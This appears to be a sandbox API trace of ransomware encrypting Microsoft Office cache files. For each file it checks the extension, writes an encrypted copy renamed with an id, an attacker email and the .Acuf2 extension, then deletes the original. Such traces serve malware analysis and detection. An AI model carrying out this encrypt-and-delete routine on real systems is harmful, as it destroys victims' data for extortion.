	[0038.240] lstrlenW (lpString=".1cd") returned 4
	[0038.240] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0038.240] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81
	[0038.240] lstrlenW (lpString=".jpg") returned 4
	[0038.240] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0038.240] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81
	[0038.240] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81
	[0038.240] lstrlenW (lpString=".doc") returned 4
	[0038.240] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0038.240] lstrlenW (lpString=".docx") returned 5
	[0038.240] lstrcmpiW (lpString1=".docx", lpString2="f.xml") returned -1
	[0038.240] lstrlenW (lpString=".pdf") returned 4
	[0038.240] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0038.240] lstrlenW (lpString=".xls") returned 4
	[0038.240] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0038.240] lstrlenW (lpString=".xlsx") returned 5
	[0038.240] lstrcmpiW (lpString1=".xlsx", lpString2="f.xml") returned -1
	[0038.240] lstrlenW (lpString=".ppt") returned 4
	[0038.240] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0038.241] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81
	[0038.241] lstrlenW (lpString=".zip") returned 4
	[0038.241] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0038.241] lstrlenW (lpString=".rar") returned 4
	[0038.241] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0038.241] lstrlenW (lpString=".bz2") returned 4
	[0038.241] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0038.241] lstrlenW (lpString=".7z") returned 3
	[0038.241] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0038.241] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81
	[0038.241] lstrlenW (lpString=".dbf") returned 4
	[0038.241] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0038.241] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81
	[0038.241] lstrlenW (lpString=".1cd") returned 4
	[0038.241] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0038.241] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81
	[0038.241] lstrlenW (lpString=".jpg") returned 4
	[0038.241] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0038.241] lstrcmpiW (lpString1=".xml", lpString2=".Acuf2") returned 1
	[0038.241] lstrlenW (lpString="Proof.xml") returned 9
	[0038.241] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178
	[0038.250] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x1f2ff1c | out: lpFileSize=0x1f2ff1c*=1457) returned 1
	[0038.250] CloseHandle (hObject=0x178) returned 1
	[0038.251] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml")) returned 0x2020
	[0038.251] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0038.251] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178
	[0038.251] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0038.251] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0038.251] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c
	[0038.251] GetLastError () returned 0x0
	[0038.251] ReadFile (in: hFile=0x178, lpBuffer=0x2ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x1f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesRead=0x1f2fed4*=0x5b1, lpOverlapped=0x0) returned 1
	[0038.781] WriteFile (in: hFile=0x17c, lpBuffer=0x2ec0020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x1f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesWritten=0x1f2fc9c*=0x5c0, lpOverlapped=0x0) returned 1
	[0038.782] ReadFile (in: hFile=0x178, lpBuffer=0x2ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x1f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesRead=0x1f2fed4*=0x0, lpOverlapped=0x0) returned 1
	[0038.782] WriteFile (in: hFile=0x17c, lpBuffer=0x2ec0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x1f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesWritten=0x1f2fc9c*=0xe6, lpOverlapped=0x0) returned 1
	[0038.782] SetEndOfFile (hFile=0x17c) returned 1
	[0038.783] CloseHandle (hObject=0x17c) returned 1
	[0038.783] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0038.783] SetEndOfFile (hFile=0x178) returned 1
	[0038.784] CloseHandle (hObject=0x178) returned 1
	[0038.784] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x2020) returned 1
	[0038.785] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml")) returned 1
	[0038.785] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81
	[0038.785] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81
	[0038.785] lstrlenW (lpString=".doc") returned 4
	[0038.785] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0038.785] lstrlenW (lpString=".docx") returned 5
	[0038.785] lstrcmpiW (lpString1=".docx", lpString2="f.xml") returned -1
	[0038.785] lstrlenW (lpString=".pdf") returned 4
	[0038.785] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0038.785] lstrlenW (lpString=".xls") returned 4
	[0038.785] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0038.785] lstrlenW (lpString=".xlsx") returned 5
	[0038.785] lstrcmpiW (lpString1=".xlsx", lpString2="f.xml") returned -1
	[0038.785] lstrlenW (lpString=".ppt") returned 4
	[0038.785] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0038.785] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81
	[0038.785] lstrlenW (lpString=".zip") returned 4
	[0038.785] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0038.785] lstrlenW (lpString=".rar") returned 4
	[0038.785] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0038.785] lstrlenW (lpString=".bz2") returned 4
	[0038.785] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0038.785] lstrlenW (lpString=".7z") returned 3
	[0038.785] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0038.785] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81
	[0038.785] lstrlenW (lpString=".dbf") returned 4
	[0038.786] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0038.786] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81
	[0038.786] lstrlenW (lpString=".1cd") returned 4
	[0038.786] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0038.786] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81
	[0038.786] lstrlenW (lpString=".jpg") returned 4
	[0038.786] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0038.786] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81
	[0038.786] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81
	[0038.786] lstrlenW (lpString=".doc") returned 4
	[0038.786] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0038.786] lstrlenW (lpString=".docx") returned 5
	[0038.786] lstrcmpiW (lpString1=".docx", lpString2="f.xml") returned -1
	[0038.786] lstrlenW (lpString=".pdf") returned 4
	[0038.786] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0038.786] lstrlenW (lpString=".xls") returned 4
	[0038.786] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0038.786] lstrlenW (lpString=".xlsx") returned 5
	[0038.786] lstrcmpiW (lpString1=".xlsx", lpString2="f.xml") returned -1
	[0038.786] lstrlenW (lpString=".ppt") returned 4
	[0038.786] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0038.786] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81
	[0038.786] lstrlenW (lpString=".zip") returned 4
	[0038.786] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0038.786] lstrlenW (lpString=".rar") returned 4
	[0038.786] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0038.786] lstrlenW (lpString=".bz2") returned 4
	[0038.786] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0038.786] lstrlenW (lpString=".7z") returned 3
	[0038.786] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0038.787] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81
	[0038.787] lstrlenW (lpString=".dbf") returned 4
	[0038.787] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0038.787] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81
	[0038.787] lstrlenW (lpString=".1cd") returned 4
	[0038.787] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0038.787] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81
	[0038.787] lstrlenW (lpString=".jpg") returned 4
	[0038.787] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0038.787] lstrcmpiW (lpString1=".xml", lpString2=".Acuf2") returned 1
	[0038.787] lstrlenW (lpString="Setup.xml") returned 9
	[0038.787] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178
	[0038.788] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x1f2ff1c | out: lpFileSize=0x1f2ff1c*=1988) returned 1
	[0038.788] CloseHandle (hObject=0x178) returned 1
	[0038.788] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020
	[0038.788] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0038.788] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178
	[0038.788] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0038.789] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0038.789] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c
	[0038.789] GetLastError () returned 0x0
	[0038.789] ReadFile (in: hFile=0x178, lpBuffer=0x2ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x1f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesRead=0x1f2fed4*=0x7c4, lpOverlapped=0x0) returned 1
	[0038.791] WriteFile (in: hFile=0x17c, lpBuffer=0x2ec0020*, nNumberOfBytesToWrite=0x7d0, lpNumberOfBytesWritten=0x1f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesWritten=0x1f2fc9c*=0x7d0, lpOverlapped=0x0) returned 1
	[0038.792] ReadFile (in: hFile=0x178, lpBuffer=0x2ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x1f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesRead=0x1f2fed4*=0x0, lpOverlapped=0x0) returned 1
	[0038.792] WriteFile (in: hFile=0x17c, lpBuffer=0x2ec0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x1f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesWritten=0x1f2fc9c*=0xe6, lpOverlapped=0x0) returned 1
	[0038.792] SetEndOfFile (hFile=0x17c) returned 1
	[0038.792] CloseHandle (hObject=0x17c) returned 1
	[0038.793] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0038.793] SetEndOfFile (hFile=0x178) returned 1
	[0038.794] CloseHandle (hObject=0x178) returned 1
	[0038.794] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x2020) returned 1
	[0038.794] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1
	[0038.794] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0038.794] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0038.794] lstrlenW (lpString=".doc") returned 4
	[0038.794] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0038.794] lstrlenW (lpString=".docx") returned 5
	[0038.794] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1
	[0038.794] lstrlenW (lpString=".pdf") returned 4
	[0038.794] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0038.795] lstrlenW (lpString=".xls") returned 4
	[0038.795] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0038.795] lstrlenW (lpString=".xlsx") returned 5
	[0038.795] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1
	[0038.795] lstrlenW (lpString=".ppt") returned 4
	[0038.795] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0038.795] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0038.795] lstrlenW (lpString=".zip") returned 4
	[0038.795] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0038.795] lstrlenW (lpString=".rar") returned 4
	[0038.795] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0038.795] lstrlenW (lpString=".bz2") returned 4
	[0038.795] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0038.795] lstrlenW (lpString=".7z") returned 3
	[0038.795] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0038.795] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0038.795] lstrlenW (lpString=".dbf") returned 4
	[0038.795] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0038.795] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0038.795] lstrlenW (lpString=".1cd") returned 4
	[0038.795] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0038.795] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0038.795] lstrlenW (lpString=".jpg") returned 4
	[0038.795] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0038.795] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0038.795] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0038.795] lstrlenW (lpString=".doc") returned 4
	[0038.795] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0038.795] lstrlenW (lpString=".docx") returned 5
	[0038.795] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1
	[0038.796] lstrlenW (lpString=".pdf") returned 4
	[0038.796] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0038.796] lstrlenW (lpString=".xls") returned 4
	[0038.796] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0038.796] lstrlenW (lpString=".xlsx") returned 5
	[0038.796] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1
	[0038.796] lstrlenW (lpString=".ppt") returned 4
	[0038.796] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0038.796] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0038.796] lstrlenW (lpString=".zip") returned 4
	[0038.796] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0038.796] lstrlenW (lpString=".rar") returned 4
	[0038.796] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0038.796] lstrlenW (lpString=".bz2") returned 4
	[0038.796] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0038.796] lstrlenW (lpString=".7z") returned 3
	[0038.796] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0038.796] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0038.796] lstrlenW (lpString=".dbf") returned 4
	[0038.796] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0038.796] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0038.796] lstrlenW (lpString=".1cd") returned 4
	[0038.796] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0038.796] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0038.796] lstrlenW (lpString=".jpg") returned 4
	[0038.797] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0038.797] lstrcmpiW (lpString1=".xml", lpString2=".Acuf2") returned 1
	[0038.797] lstrlenW (lpString="ProjectMUI.xml") returned 14
	[0038.797] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178
	[0038.798] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x1f2ff1c | out: lpFileSize=0x1f2ff1c*=1452) returned 1
	[0038.798] CloseHandle (hObject=0x178) returned 1
	[0038.798] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml")) returned 0x2020
	[0038.798] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0038.799] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178
	[0038.799] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0038.799] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0038.799] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c
	[0038.799] GetLastError () returned 0x0
	[0038.799] ReadFile (in: hFile=0x178, lpBuffer=0x2ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x1f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesRead=0x1f2fed4*=0x5ac, lpOverlapped=0x0) returned 1
	[0038.801] WriteFile (in: hFile=0x17c, lpBuffer=0x2ec0020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x1f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesWritten=0x1f2fc9c*=0x5b0, lpOverlapped=0x0) returned 1
	[0038.801] ReadFile (in: hFile=0x178, lpBuffer=0x2ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x1f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesRead=0x1f2fed4*=0x0, lpOverlapped=0x0) returned 1
	[0038.801] WriteFile (in: hFile=0x17c, lpBuffer=0x2ec0020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x1f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesWritten=0x1f2fc9c*=0xf0, lpOverlapped=0x0) returned 1
	[0038.802] SetEndOfFile (hFile=0x17c) returned 1
	[0038.802] CloseHandle (hObject=0x17c) returned 1
	[0038.802] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0038.802] SetEndOfFile (hFile=0x178) returned 1
	[0038.803] CloseHandle (hObject=0x178) returned 1
	[0038.803] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x2020) returned 1
	[0038.804] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml")) returned 1
	[0038.804] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77
	[0038.804] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77
	[0038.804] lstrlenW (lpString=".doc") returned 4
	[0038.804] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0038.804] lstrlenW (lpString=".docx") returned 5
	[0038.804] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1
	[0038.804] lstrlenW (lpString=".pdf") returned 4
	[0038.804] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0038.804] lstrlenW (lpString=".xls") returned 4
	[0038.804] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0038.804] lstrlenW (lpString=".xlsx") returned 5
	[0038.804] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1
